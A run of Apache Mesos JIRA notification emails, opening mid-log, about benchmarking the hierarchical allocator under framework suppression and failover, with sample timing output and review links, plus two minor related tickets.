with 2400 out of > 6000 frameworks suppressing offers > allocate() took 3.7972409833mins to make 5000 offers with 3600 out of > 6000 frameworks suppressing offers > allocate() took 3.85926955mins to make 5000 offers with 4800 out of 6000 > frameworks suppressing offers > allocate() took 23.114991secs to make 0 offers with 6000 out of 6000 > frameworks suppressing offers > [ OK ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.SuppressOffers/35 > (1157073 ms) > Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.SuppressOffers/35 > Using 5000 agents and 6000 frameworks > allocate() took 2.880747
[jira] [Commented] (MESOS-5781) Benchmark allocation with framework suppression.
[ https://issues.apache.org/jira/browse/MESOS-5781?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15367193#comment-15367193 ] Jacob Janco commented on MESOS-5781: Relating another review to bump the amount of frameworks in benchmark parameters. https://reviews.apache.org/r/49784 > Benchmark allocation with framework suppression. > > > Key: MESOS-5781 > URL: https://issues.apache.org/jira/browse/MESOS-5781 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator, benchmark > > Benchmarks effects of framework suppression on allocation time. Frameworks > are suppressed and resources recovered each iteration and allocation time is > measured as we move to suppress all frameworks in the test case. Referencing > MESOS-4694. > Sample run at top of tree: > Using 2000 agents and 200 frameworks > round 0 allocate took 2.630963secs to make 199 offers > round 1 allocate took 2.640694secs to make 198 offers > round 2 allocate took 2.642664secs to make 197 offers > ... > round 197 allocate took 2.433047secs to make 2 offers > round 198 allocate took 2.409804secs to make 1 offers > round 199 allocate took 252270us to make 0 offers > Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): > Using 2000 agents and 200 frameworks > round 0 allocate took 2.626182secs to make 199 offers > round 1 allocate took 2.62286secs to make 198 offers > round 2 allocate took 2.591389secs to make 197 offers > ... > round 101 allocate took 1.494164secs to make 98 offers > round 102 allocate took 1.491371secs to make 97 offers > round 103 allocate took 1.491969secs to make 96 offers > ... > round 197 allocate took 534780us to make 2 offers > round 198 allocate took 501947us to make 1 offers > round 199 allocate took 24929us to make 0 offers -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-5780) Benchmark framework failover.
[ https://issues.apache.org/jira/browse/MESOS-5780?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15367194#comment-15367194 ] Jacob Janco commented on MESOS-5780: Relating another review to bump the amount of frameworks in benchmark parameters. https://reviews.apache.org/r/49784 > Benchmark framework failover. > - > > Key: MESOS-5780 > URL: https://issues.apache.org/jira/browse/MESOS-5780 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator, benchmark, framework > > Benchmarking disconnection and reconnection of all frameworks in cluster > proves useful in gauging the efficiency of the allocator's handling of a > flooded event queue. I'd also like to reference MESOS-3157. > Sample run at top of tree: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 > Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks > Sample run with MESOS-3157: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 > Allocator settled after 5.98023secs for 5000 agents and 500 frameworks -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-5781) Benchmark allocation with framework suppression.
[ https://issues.apache.org/jira/browse/MESOS-5781?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15361832#comment-15361832 ] Jacob Janco commented on MESOS-5781: https://reviews.apache.org/r/49616/ > Benchmark allocation with framework suppression. > > > Key: MESOS-5781 > URL: https://issues.apache.org/jira/browse/MESOS-5781 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator, benchmark > > Benchmarks effects of framework suppression on allocation time. Frameworks > are suppressed and resources recovered each iteration and allocation time is > measured as we move to suppress all frameworks in the test case. Referencing > MESOS-4694. > Sample run at top of tree: > Using 2000 agents and 200 frameworks > round 0 allocate took 2.630963secs to make 199 offers > round 1 allocate took 2.640694secs to make 198 offers > round 2 allocate took 2.642664secs to make 197 offers > ... > round 197 allocate took 2.433047secs to make 2 offers > round 198 allocate took 2.409804secs to make 1 offers > round 199 allocate took 252270us to make 0 offers > Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): > Using 2000 agents and 200 frameworks > round 0 allocate took 2.626182secs to make 199 offers > round 1 allocate took 2.62286secs to make 198 offers > round 2 allocate took 2.591389secs to make 197 offers > ... > round 101 allocate took 1.494164secs to make 98 offers > round 102 allocate took 1.491371secs to make 97 offers > round 103 allocate took 1.491969secs to make 96 offers > ... > round 197 allocate took 534780us to make 2 offers > round 198 allocate took 501947us to make 1 offers > round 199 allocate took 24929us to make 0 offers -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Updated] (MESOS-5781) Benchmark allocation with framework suppression.
[ https://issues.apache.org/jira/browse/MESOS-5781?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-5781: --- Description: Benchmarks effects of framework suppression on allocation time. Frameworks are suppressed and resources recovered each iteration and allocation time is measured as we move to suppress all frameworks in the test case. Referencing MESOS-4694. Sample run at top of tree: Using 2000 agents and 200 frameworks round 0 allocate took 2.630963secs to make 199 offers round 1 allocate took 2.640694secs to make 198 offers round 2 allocate took 2.642664secs to make 197 offers ... round 197 allocate took 2.433047secs to make 2 offers round 198 allocate took 2.409804secs to make 1 offers round 199 allocate took 252270us to make 0 offers Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): Using 2000 agents and 200 frameworks round 0 allocate took 2.626182secs to make 199 offers round 1 allocate took 2.62286secs to make 198 offers round 2 allocate took 2.591389secs to make 197 offers ... round 101 allocate took 1.494164secs to make 98 offers round 102 allocate took 1.491371secs to make 97 offers round 103 allocate took 1.491969secs to make 96 offers ... round 197 allocate took 534780us to make 2 offers round 198 allocate took 501947us to make 1 offers round 199 allocate took 24929us to make 0 offers was: Benchmarks effects of framework suppression on allocation time. Frameworks are suppressed and resources recovered each iteration and allocation time is measured as we move to suppress all frameworks in the test case. Referencing MESOS-4694. Sample run at top of tree: Using 2000 agents and 200 frameworks round 0 allocate took 2.630963secs to make 199 offers round 1 allocate took 2.640694secs to make 198 offers round 2 allocate took 2.642664secs to make 197 offers ... round 197 allocate took 2.433047secs to make 2 offers round 198 allocate took 2.409804secs to make 1 offers round 199 allocate took 252270us to make 0 offers Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): round 0 allocate took 2.626182secs to make 199 offers round 1 allocate took 2.62286secs to make 198 offers round 2 allocate took 2.591389secs to make 197 offers ... round 101 allocate took 1.494164secs to make 98 offers round 102 allocate took 1.491371secs to make 97 offers round 103 allocate took 1.491969secs to make 96 offers ... round 197 allocate took 534780us to make 2 offers round 198 allocate took 501947us to make 1 offers round 199 allocate took 24929us to make 0 offers > Benchmark allocation with framework suppression. > > > Key: MESOS-5781 > URL: https://issues.apache.org/jira/browse/MESOS-5781 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator, benchmark > > Benchmarks effects of framework suppression on allocation time. Frameworks > are suppressed and resources recovered each iteration and allocation time is > measured as we move to suppress all frameworks in the test case. Referencing > MESOS-4694. > Sample run at top of tree: > Using 2000 agents and 200 frameworks > round 0 allocate took 2.630963secs to make 199 offers > round 1 allocate took 2.640694secs to make 198 offers > round 2 allocate took 2.642664secs to make 197 offers > ... > round 197 allocate took 2.433047secs to make 2 offers > round 198 allocate took 2.409804secs to make 1 offers > round 199 allocate took 252270us to make 0 offers > Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): > Using 2000 agents and 200 frameworks > round 0 allocate took 2.626182secs to make 199 offers > round 1 allocate took 2.62286secs to make 198 offers > round 2 allocate took 2.591389secs to make 197 offers > ... > round 101 allocate took 1.494164secs to make 98 offers > round 102 allocate took 1.491371secs to make 97 offers > round 103 allocate took 1.491969secs to make 96 offers > ... > round 197 allocate took 534780us to make 2 offers > round 198 allocate took 501947us to make 1 offers > round 199 allocate took 24929us to make 0 offers -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Created] (MESOS-5781) Benchmark allocation with framework suppression.
Jacob Janco created MESOS-5781: -- Summary: Benchmark allocation with framework suppression. Key: MESOS-5781 URL: https://issues.apache.org/jira/browse/MESOS-5781 Project: Mesos Issue Type: Improvement Reporter: Jacob Janco Assignee: Jacob Janco Benchmarks effects of framework suppression on allocation time. Frameworks are suppressed and resources recovered each iteration and allocation time is measured as we move to suppress all frameworks in the test case. Referencing MESOS-4694. Sample run at top of tree: Using 2000 agents and 200 frameworks round 0 allocate took 2.630963secs to make 199 offers round 1 allocate took 2.640694secs to make 198 offers round 2 allocate took 2.642664secs to make 197 offers ... round 197 allocate took 2.433047secs to make 2 offers round 198 allocate took 2.409804secs to make 1 offers round 199 allocate took 252270us to make 0 offers Sample run with MESOS-4694 (https://reviews.apache.org/r/43666/): round 0 allocate took 2.626182secs to make 199 offers round 1 allocate took 2.62286secs to make 198 offers round 2 allocate took 2.591389secs to make 197 offers ... round 101 allocate took 1.494164secs to make 98 offers round 102 allocate took 1.491371secs to make 97 offers round 103 allocate took 1.491969secs to make 96 offers ... round 197 allocate took 534780us to make 2 offers round 198 allocate took 501947us to make 1 offers round 199 allocate took 24929us to make 0 offers -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Updated] (MESOS-5780) Benchmark framework failover.
[ https://issues.apache.org/jira/browse/MESOS-5780?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-5780: --- Description: Benchmarking disconnection and reconnection of all frameworks in cluster proves useful in gauging the efficiency of the allocator's handling of a flooded event queue. I'd also like to reference MESOS-3157. Sample run at top of tree: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks Sample run with MESOS-3157: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 5.98023secs for 5000 agents and 500 frameworks was: Benchmarking disconnection and reconnection of all frameworks in cluster proves useful in gauging the efficiency of the allocator's handling a flooded event queue. I'd also like to reference MESOS-3157. Sample run at top of tree: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks Sample run with MESOS-3157: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 5.98023secs for 5000 agents and 500 frameworks > Benchmark framework failover. > - > > Key: MESOS-5780 > URL: https://issues.apache.org/jira/browse/MESOS-5780 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator, benchmark, framework > > Benchmarking disconnection and reconnection of all frameworks in cluster > proves useful in gauging the efficiency of the allocator's handling of a > flooded event queue. I'd also like to reference MESOS-3157. > Sample run at top of tree: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 > Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks > Sample run with MESOS-3157: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 > Allocator settled after 5.98023secs for 5000 agents and 500 frameworks -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Updated] (MESOS-5780) Benchmark framework failover.
[ https://issues.apache.org/jira/browse/MESOS-5780?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-5780: --- Description: Benchmarking disconnection and reconnection of all frameworks in cluster proves useful in gauging the efficiency of the allocator's handling a flooded event queue. I'd also like to reference MESOS-3157. Sample run at top of tree: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks Sample run with MESOS-3157: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 5.98023secs for 5000 agents and 500 frameworks was: Benchmarking disconnection and reconnection of all frameworks in cluster proves useful in gauging the efficiency of the allocator's efficiency in handling a flooded event queue. I'd also like to reference MESOS-3157. Sample run at top of tree: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks Sample run with MESOS-3157: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 5.98023secs for 5000 agents and 500 frameworks > Benchmark framework failover. > - > > Key: MESOS-5780 > URL: https://issues.apache.org/jira/browse/MESOS-5780 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator, benchmark, framework > > Benchmarking disconnection and reconnection of all frameworks in cluster > proves useful in gauging the efficiency of the allocator's handling a flooded > event queue. I'd also like to reference MESOS-3157. > Sample run at top of tree: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 > Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks > Sample run with MESOS-3157: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 > Allocator settled after 5.98023secs for 5000 agents and 500 frameworks -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-5780) Benchmark framework failover.
[ https://issues.apache.org/jira/browse/MESOS-5780?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15361828#comment-15361828 ] Jacob Janco commented on MESOS-5780: https://reviews.apache.org/r/49617 > Benchmark framework failover. > - > > Key: MESOS-5780 > URL: https://issues.apache.org/jira/browse/MESOS-5780 > Project: Mesos > Issue Type: Improvement >Reporter: Jacob Janco >Assignee: Jacob Janco > Labels: allocator, benchmark, framework > > Benchmarking disconnection and reconnection of all frameworks in cluster > proves useful in gauging the efficiency of the allocator's efficiency in > handling a flooded event queue. I'd also like to reference MESOS-3157. > Sample run at top of tree: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 > Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks > Sample run with MESOS-3157: > [ RUN ] > SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 > Allocator settled after 5.98023secs for 5000 agents and 500 frameworks -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Created] (MESOS-5780) Benchmark framework failover.
Jacob Janco created MESOS-5780: -- Summary: Benchmark framework failover. Key: MESOS-5780 URL: https://issues.apache.org/jira/browse/MESOS-5780 Project: Mesos Issue Type: Improvement Reporter: Jacob Janco Assignee: Jacob Janco Benchmarking disconnection and reconnection of all frameworks in cluster proves useful in gauging the efficiency of the allocator's efficiency in handling a flooded event queue. I'd also like to reference MESOS-3157. Sample run at top of tree: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 11.8424527mins for 5000 agents and 500 frameworks Sample run with MESOS-3157: [ RUN ] SlaveAndFrameworkCount/HierarchicalAllocator_BENCHMARK_Test.FrameworkFailover/10 Allocator settled after 5.98023secs for 5000 agents and 500 frameworks -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-3157) only perform batch resource allocations
[ https://issues.apache.org/jira/browse/MESOS-3157?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15343076#comment-15343076 ] Jacob Janco commented on MESOS-3157: Np, thanks for the initial work, happy to see this through. > only perform batch resource allocations > --- > > Key: MESOS-3157 > URL: https://issues.apache.org/jira/browse/MESOS-3157 > Project: Mesos > Issue Type: Bug > Components: allocation >Reporter: James Peach >Assignee: Jacob Janco > > Our deployment environments have a lot of churn, with many short-live > frameworks that often revive offers. Running the allocator takes a long time > (from seconds up to minutes). > In this situation, event-triggered allocation causes the event queue in the > allocator process to get very long, and the allocator effectively becomes > unresponsive (eg. a revive offers message takes too long to come to the head > of the queue). > We have been running a patch to remove all the event-triggered allocations > and only allocate from the batch task > {{HierarchicalAllocatorProcess::batch}}. This works great and really improves > responsiveness. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Assigned] (MESOS-4126) Construct the error string in `MethodNotAllowed`.
[ https://issues.apache.org/jira/browse/MESOS-4126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco reassigned MESOS-4126: -- Assignee: Jacob Janco > Construct the error string in `MethodNotAllowed`. > - > > Key: MESOS-4126 > URL: https://issues.apache.org/jira/browse/MESOS-4126 > Project: Mesos > Issue Type: Improvement >Reporter: Alexander Rukletsov >Assignee: Jacob Janco > Labels: http, mesosphere, newbie++ > > Consider constructing the error string in {{MethodNotAllowed}} rather than at > the invocation site. Currently we want all error messages follow the same > pattern, so instead of writing > {code} > return MethodNotAllowed({"POST"}, "Expecting 'POST', received '" + > request.method + "'"); > {code} > we can write something like > {code} > MethodNotAllowed({"POST"}, request.method)` > {code} -- This message was sent by Atlassian JIRA (v6.3.4#6332)